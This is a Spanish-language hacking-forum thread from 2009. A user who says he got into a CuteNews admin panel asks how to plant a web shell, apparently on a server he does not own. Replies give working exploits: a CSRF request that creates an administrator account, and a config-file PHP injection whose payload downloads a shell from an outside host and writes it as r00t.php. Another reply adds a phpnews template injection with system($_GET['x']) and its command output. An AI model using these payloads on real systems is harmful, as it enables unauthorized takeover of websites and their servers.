elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Usando Git para manipular el directorio de trabajo, el índice y commits (segunda parte)


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Hacking
| | |-+  Bugs y Exploits
| | | |-+  Nivel Web (Moderadores: sirdarckcat, WHK)
| | | | |-+  CuteNews Escalar privilegios
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] 2 Ir Abajo Respuesta Imprimir
Autor Tema: CuteNews Escalar privilegios  (Leído 9,716 veces)
xalupeao

Desconectado Desconectado

Mensajes: 18


Ver Perfil WWW
CuteNews Escalar privilegios
« en: 23 Mayo 2009, 06:24 am »

Hola buenas ya he podido entrar al admin del cutenews usando dos exploit, uno que me buscar el nick del admin y otro me mostrara el hash en md5 y bueno pude entrar pero ahora quiero tratar de ir por mas pero no se me ocurre como poder escalar mas privilegios, quiero de alguna manera injectar una shell c99 o algo para poder tener un poco mas de control sobre el servidor, y hay esta la pregunta...


¿Se puede escalar mas privilegios por medio de Cutenew o bien injectar una shell?
En línea

Silverhost Hosting Chile - La empresa lider de Hosting en Chile .
CICOLO_111234

Desconectado Desconectado

Mensajes: 200

CICOLO_111234


Ver Perfil WWW
Re: CuteNews Escalar privilegios
« Respuesta #1 en: 23 Mayo 2009, 15:02 pm »

lo mejor es inyectar 1 shell...

busca en el panel del admin alguna opcion para subir archivos al servidor, como una imagen, documento...

salu2
En línea

xalupeao

Desconectado Desconectado

Mensajes: 18


Ver Perfil WWW
Re: CuteNews Escalar privilegios
« Respuesta #2 en: 23 Mayo 2009, 20:01 pm »

es posible subir una imagen pero ahora se vien la pregunta de qe archivo hace un include local.
En línea

Silverhost Hosting Chile - La empresa lider de Hosting en Chile .
sirdarckcat
Aspirante a supervillano
Moderador
***
Desconectado Desconectado

Mensajes: 7.029


No estoy loco, soy mentalmente divergente


Ver Perfil WWW
Re: CuteNews Escalar privilegios
« Respuesta #3 en: 24 Mayo 2009, 06:15 am »

no hay una manera "por default" de escalar privilegios en cutenews.. para encontrar alguna manera tendrias que revisar el codigo fuente por vulnerabilidades.
En línea

WHK
Moderador Global
***
Desconectado Desconectado

Mensajes: 6.589


Sin conocimiento no hay espíritu


Ver Perfil WWW
Re: CuteNews Escalar privilegios
« Respuesta #4 en: 24 Mayo 2009, 10:08 am »

no hay una manera "por default" de escalar privilegios en cutenews.. para encontrar alguna manera tendrias que revisar el codigo fuente por vulnerabilidades.

Yo decidí hace un tiempo revisar el código fuente de ese sistema y si tiene varias fallas, mas de 5 si no me falla mi memoria de elefante php.

No recuerdo cuales eran pero si pretendes explotar el que está en la sección de noticias ( http://www.elhacker.net/notis/ ) no podrás porque eliminaron casi todos los archivos donde podías infiltrarte.

Recuerdo si que tenía csrf por todos lados y podías crear y borrar usuarios y hacerlos admin.

Si no me equivoco los usuarios eran manejados en archivos de texto y no en bases de datos MySQL.

Mañana lo bajaré otraves para hecharle una rehojeada.

Edito -->
Citar
http://127.0.0.1/cutenews/index.php

POST /cutenews/index.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 Gecko/2009042316 Firefox/3.0.10 (.NET CLR 3.5.30729)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: es-es,es;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: http://127.0.0.1/cutenews/index.php?mod=editusers&action=list
Cookie: lastusername=whk; username=whk; md5_password=xxx;
Content-Type: application/x-www-form-urlencoded
Content-Length: 128
regusername=zkizzik&regpassword=_123456&regnickname=zkizzik&regemail=zkizzik%40gmail.com&reglevel=1&action=adduser&mod=editusers

Agregué un user de prueba como admin y no hay token ni referer de verificación, ahi ya tienes un csrf y puedes crear usuarios admin si es que pillas al admin original y haces que vea una web tuya donde se le redireccionará.

Si mi memoria de elefante php no me falla recuerdo que la primera ves que vi este sistema pude ver que las peticiones post podían procesarse como si fueran get al igual que cpanel asi que puedes causar un csrf desde una imagen en un foro, etc.

Edito2 -->
Si se puede:
http://127.0.0.1/cutenews/index.php?regusername=zkizzik&regpassword=_123456&regnickname=zkizzik&regemail=zkizzik%40gmail.com&reglevel=1&action=adduser&mod=editusers
Citar
User Added
   
The user zkizzik was successfully added as administrator

go back
« Última modificación: 24 Mayo 2009, 10:21 am por WHK » En línea

xalupeao

Desconectado Desconectado

Mensajes: 18


Ver Perfil WWW
Re: CuteNews Escalar privilegios
« Respuesta #5 en: 25 Mayo 2009, 04:01 am »

El usuario y contraseña ya lo tengo tengo acceso al administrador pero lo que quiero es injectarle una shell, lamentablemente el host no acepta RFI y tampoco me permite leer los archivos de la carpeta "data" por lo cual es imposible usar los otros conocidos exploit.

lo que quiero es injectar un shell.
En línea

Silverhost Hosting Chile - La empresa lider de Hosting en Chile .
Azielito
no es
Colaborador
***
Desconectado Desconectado

Mensajes: 9.188


>.<


Ver Perfil WWW
Re: CuteNews Escalar privilegios
« Respuesta #6 en: 26 Mayo 2009, 02:49 am »

aaaaaaaaa si, yo alguna vez (aun trato xD) intente de poner una shell, lo unico que encontre fue algo de un avatar pero lo "inserta" con html, o sea
Código
  1. <img src=$URL_AVATAR>

¬¬ y yo lo hablilite para poder subir una shell (bypasseando el filetype XD) y nada, no encontre forma, y si pones codigo php en una "entrada" no lo interpreta como tal ¬¬

Ahora mismo no traigo mi server de pruebas pero mañana intento hacer algo de SQL en las entradas a ver si encuentro algo ñ_ñ'
En línea

WHK
Moderador Global
***
Desconectado Desconectado

Mensajes: 6.589


Sin conocimiento no hay espíritu


Ver Perfil WWW
Re: CuteNews Escalar privilegios
« Respuesta #7 en: 26 Mayo 2009, 05:30 am »

Citar
Ahora mismo no traigo mi server de pruebas pero mañana intento hacer algo de SQL en las entradas a ver si encuentro algo ñ_ñ'
No usa SQL, solamente guarda todos los datos en archivos de texto.

Ya pude inyectar una shell y no está tan dificil, solamente que debes regirte por un filtro htmlspecialchars sin token o sea que puedes escribir comillas simples y con eso crear tu código php de la siguiente forma.

Fijate en configuraciones:
http://127.0.0.1/cutenews/index.php?mod=options&action=syscon&rand=xxx


Cuando guardas una configuración lo que haces es sobreescribir un archivo llamado data/config.php
Código
  1. <?PHP
  2.  
  3. //System Configurations (Auto Generated file)
  4.  
  5. $config_http_script_dir = "http://127.0.0.1/cutenews";
  6.  
  7. $config_skin = "default";
  8.  
  9. $config_date_adjust = "0";
  10.  
  11. ...

El filtro dice así:
inc/options.mdu linea 755 a 760
Código
  1.    fwrite($handler, "<?PHP \n\n//System Configurations (Auto Generated file)\n\n");
  2.    foreach($save_con as $name=>$value)
  3.    {
  4.            fwrite($handler, "\$config_$name = \"".htmlspecialchars($value)."\";\n\n");
  5.    }
  6.    fwrite($handler, "?>");

Como htmlspecialchars no tiene token ENT_QUOTES (http://cl.php.net/htmlspecialchars) significa que podemos insertar comillas simples pero si no podemos inyectar con comillas dobles para escapar de la variable $config_http_script_dir como lo hacemos?:



Fijate que en el input donde va el link del cutenews le puse al final el carácter "\" asi que tomará la comilla doble como parte de la misma variable y queda masomenos así:


Ahora que logramos escapar hay que cerrar la variable y comenzara a inyectar código:
Citar
; echo 'test'; exit; /*

Fijate que este contenido queda acá:
Citar
$config_skin = "default";
asi que nos encontramos con la comilla doble que cierra la primera variable y comenzamos a escribir en php pero primero cerramos con ";" y para que el código no quede corrupto y se quede sin hacer nada cerramos con "/*" y queda:




Ya sabemos que se ejecuta el código pero ojo que cuando lo hagas quedará corrupto pero las configuraciones por defecto de cutenews permiten que alcance a terminar de ejecutar nuestra inyeción asi que hay solo una oportunidad y si te fijas también no puedes ejecutar código y terminar con exit si es que no se debolvió algún buffer de stream en el php (debe ser por la misma configuración y ob_start() ) asi que en total nos queda masomenos así:
Código
  1. ; echo 'stream'; $s = file_get_contents('http://www.web.com/shell.txt'); $f = fopen('r00t.php', 'x'); fwrite($f, $s); fclose($f); echo $s; exit; /*

Cuando lo hagas te va a dar el mismo error que la imagen anterior pero si vas a http://127.0.0.1/cutenews/r00t.php verás algo así como esto:
« Última modificación: 26 Mayo 2009, 05:37 am por WHK » En línea

WHK
Moderador Global
***
Desconectado Desconectado

Mensajes: 6.589


Sin conocimiento no hay espíritu


Ver Perfil WWW
Re: CuteNews Escalar privilegios
« Respuesta #8 en: 26 Mayo 2009, 05:53 am »

Lo agregué al recopilatorio de post
https://foro.elhacker.net/nivel_web/temas_mas_destacados_fallas_y_explotaciones_a_nivel_web_actualizado_25509-t244090.0.html

Y de pasada hize un video:

En línea

Azielito
no es
Colaborador
***
Desconectado Desconectado

Mensajes: 9.188


>.<


Ver Perfil WWW
Re: CuteNews Escalar privilegios
« Respuesta #9 en: 26 Mayo 2009, 18:07 pm »

'_' :-o

Excelente :0



Estaba confundiendo el sistema, con el que estaba haciendo pruebas era con phpnews, no se por que los confundí :xD

sorry ._________.  intentaré hacer lo mismo con este :-)



Ya, despues de varios intentos logre inyectar codigo php ñ_ñ'  siguiendo el tutorial que has puesto WHK :D

bien, basicamente es lo mismo solo que mejor :xD

vamos a editar el templete, yo escogí el de news.php, o sea, donde se muestran las noticias xD

:http://localhost/phpnews/phpnews1.0/index.php?action=modtemp

esto nos muestra lo siguiente
Código
  1. <h1>
  2.                  $subject
  3.               </h1>
  4.               <p>
  5.                  $time by $username.
  6.               </p>
  7.               <p>
  8.                  <strong>$titletext</strong>
  9.               </p>
  10.               <p>
  11.                  $maintext | $comments | $sendtofriend
  12.               </p>
  13.               <hr /><br />

Si vemos el archivo news_temp.php nos dirá todo

Código
  1. <?
  2. print<<<EOT
  3. <h1>
  4.                   $subject
  5.                </h1>
  6.                <p>
  7.                   $time by $username.
  8.                </p>
  9.                <p>
  10.                   <strong>$titletext</strong>
  11.                </p>
  12.                <p>
  13.                   $maintext | $comments | $sendtofriend
  14.                </p>
  15.                <hr /><br />
  16. EOT;
  17. ?>

Cuando modificamos cualquier cosa desde el panel de administración lo refleja directamente en éste archivo ñ_ñ

Para finalizar, desde el panel de administración modificamos el template de modo que quede así:
Código
  1. <h1>
  2.                  $subject
  3.               </h1>
  4.               <p>
  5.                  $time by $username.
  6.               </p>
  7.               <p>
  8.                  <strong>$titletext</strong>
  9.               </p>
  10.               <p>
  11.                  $maintext | $comments | $sendtofriend
  12.               </p>
  13.               <hr /><br />
  14. EOT;
  15. system($_GET['x']);die();

Esto dará como resultado éste código en nuestro "news_temp.php"
Código
  1. <?
  2. print<<<EOT
  3. <h1>
  4.                   $subject
  5.                </h1>
  6.                <p>
  7.                   $time by $username.
  8.                </p>
  9.                <p>
  10.                   <strong>$titletext</strong>
  11.                </p>
  12.                <p>
  13.                   $maintext | $comments | $sendtofriend
  14.                </p>
  15.                <hr /><br />
  16. EOT;
  17. system($_GET['x']);die();
  18. EOT;
  19. ?>

y tenemos magia x)

Código
  1. <script type="text/javascript">
  2. <!--
  3.        function sendtof(desktopURL)
  4.        {
  5.          desktop = window.open(desktopURL, "SendToFriend", "toolbar=no,location=no,status=no,menubar=no,scrollbars=no,width=400,height=275,resizable=no");
  6.        }
  7. // -->
  8. <a name="2"><!-- 2 --></a>
  9. <h1>
  10.                  Siguiente prueba ñ_ñ
  11.               </h1>
  12.               <p>
  13.                  December 02, 2008, 10:55:16 AM by admin.
  14.               </p>
  15.               <p>
  16.                  <strong>titulo</strong>
  17.  
  18.               </p>
  19.               <p>
  20.                  <a href="?action=fullnews&amp;id=2">Full Story</a> |  | <a href="javascript:sendtof('http://localhost/phpnews/phpnews1.0/news.phpsendtofriend.php?mid=2')">Send To Friend</a>
  21.               </p>
  22.               <hr /><br /> El volumen de la unidad G es AZIELITO
  23. El n£mero de serie del volumen es: 476A-3939
  24.  
  25. Directorio de G:\Desarrollo\web\www\phpnews\phpnews1.0
  26.  
  27. 19/11/2008  05:55 p.m.    <DIR>          .
  28. 19/11/2008  05:55 p.m.    <DIR>          ..
  29. 20/06/2003  07:44 p.m.            17,716 gpl.txt
  30. 16/07/2003  05:05 p.m.             2,100 headlines.php
  31. 11/07/2003  06:07 p.m.               118 headlines_temp.php
  32. 16/07/2003  05:05 p.m.             4,578 help.php
  33. 16/07/2003  05:10 p.m.             7,980 index.php
  34. 18/06/2003  11:33 p.m.             2,891 mysql.sql
  35. 16/07/2003  05:06 p.m.            10,793 news.php
  36. 11/07/2003  02:22 p.m.             4,058 phpnews_package.css
  37. 16/07/2003  04:12 p.m.             8,857 readme.html
  38. 16/07/2003  04:24 p.m.            20,679 se.lng
  39. 16/07/2003  05:06 p.m.             5,247 sendtofriend.php
  40. 11/07/2003  06:07 p.m.             1,203 sendtofriend_temp.php
  41. 11/07/2003  06:07 p.m.               602 sent_temp.php
  42. 20/11/2008  09:13 a.m.               103 settings.php
  43. 19/11/2008  05:55 p.m.    <DIR>          smilies
  44. 08/04/2003  10:50 a.m.               837 bullet.gif
  45. 11/07/2003  06:07 p.m.               781 comment_temp.php
  46. 11/07/2003  06:07 p.m.               381 comments_temp.php
  47. 16/07/2003  04:24 p.m.            22,127 de.lng
  48. 16/07/2003  04:24 p.m.            20,272 en.lng
  49. 11/05/2003  04:29 p.m.               358 fullnews_temp.php
  50. 19/11/2008  05:55 p.m.            62,254 admin.php
  51. 16/07/2003  05:06 p.m.            19,086 install.php.bak
  52. 02/12/2008  11:28 a.m.                27 es.php
  53. 02/12/2008  11:35 a.m.             4,798 auth.php
  54. 26/05/2009  10:51 a.m.             1,344 phperror.log
  55. 26/05/2009  11:02 a.m.               391 news_temp.php
  56.              26 archivos        219,581 bytes
  57.               3 dirs  21,014,544,384 bytes libres
  58.  
  59.  

ñ_ñ

Gracias a WHK por el tuto anterior x)
En línea

Páginas: [1] 2 Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Escalar privilegios en Windows
Hacking
Sacre 1 5,402 Último mensaje 9 Febrero 2012, 19:44 pm
por el-brujo
Escalar privilegios
Hacking
Stakewinner00 1 2,905 Último mensaje 25 Diciembre 2012, 16:17 pm
por peib0l
Escalar privilegios
Hacking
Panic0 0 2,004 Último mensaje 10 Marzo 2022, 16:49 pm
por Panic0
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines